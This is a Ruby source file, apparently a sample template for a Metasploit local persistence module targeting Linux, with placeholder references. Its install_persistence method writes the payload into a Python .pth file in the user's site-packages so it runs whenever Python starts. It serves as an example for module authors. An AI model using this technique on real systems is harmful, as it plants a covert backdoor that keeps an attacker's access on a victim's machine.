86 lines
2.9 KiB
Ruby
86 lines
2.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
|
|
|
|
# includes: is_root?
|
|
include Msf::Post::Linux::Priv
|
|
# includes writable?, upload_file, upload_and_chmodx, exploit_data
|
|
include Msf::Post::File
|
|
# includes generate_payload_exe
|
|
include Msf::Exploit::EXE
|
|
# includes register_files_for_cleanup
|
|
include Msf::Exploit::FileDropper
|
|
# defines install_persistence and does our cleanup
|
|
# WritableDir
|
|
include Msf::Exploit::Local::Persistence
|
|
# runs check automatically
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Sample Linux Persistence',
|
|
'Description' => %q{
|
|
This exploit sample shows how a persistence module could be written
|
|
for a linux computer.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
|
|
# Add reference to additional authors, like those creating original proof of concepts or
|
|
# reference materials.
|
|
# It is also common to comment in who did what (PoC vs metasploit module, etc)
|
|
'Author' => [
|
|
'msutovsky-r7', # msf module
|
|
],
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_PYTHON ],
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'References' => [
|
|
[ 'OSVDB', '12345' ],
|
|
[ 'EDB', '12345' ],
|
|
[ 'URL', 'http://www.example.com'],
|
|
[ 'CVE', '1978-1234'],
|
|
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289
|
|
],
|
|
'DisclosureDate' => '2023-11-29',
|
|
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
|
]
|
|
end
|
|
|
|
def get_python_version
|
|
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
|
|
Regexp.last_match(1)
|
|
end
|
|
|
|
def check
|
|
CheckCode::Vulnerable('example app is installed')
|
|
end
|
|
|
|
def install_persistence
|
|
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
|
|
|
|
vprint_status("Writing backdoor to #{backdoor}")
|
|
|
|
cmd_exec("mkdir -p $HOME/.local/lib/python#{get_python_version}/site-packages")
|
|
|
|
write_file("$HOME/.local/lib/python#{get_python_version}/site-packages/#{file_name}.pth", payload.encoded)
|
|
end
|
|
end
|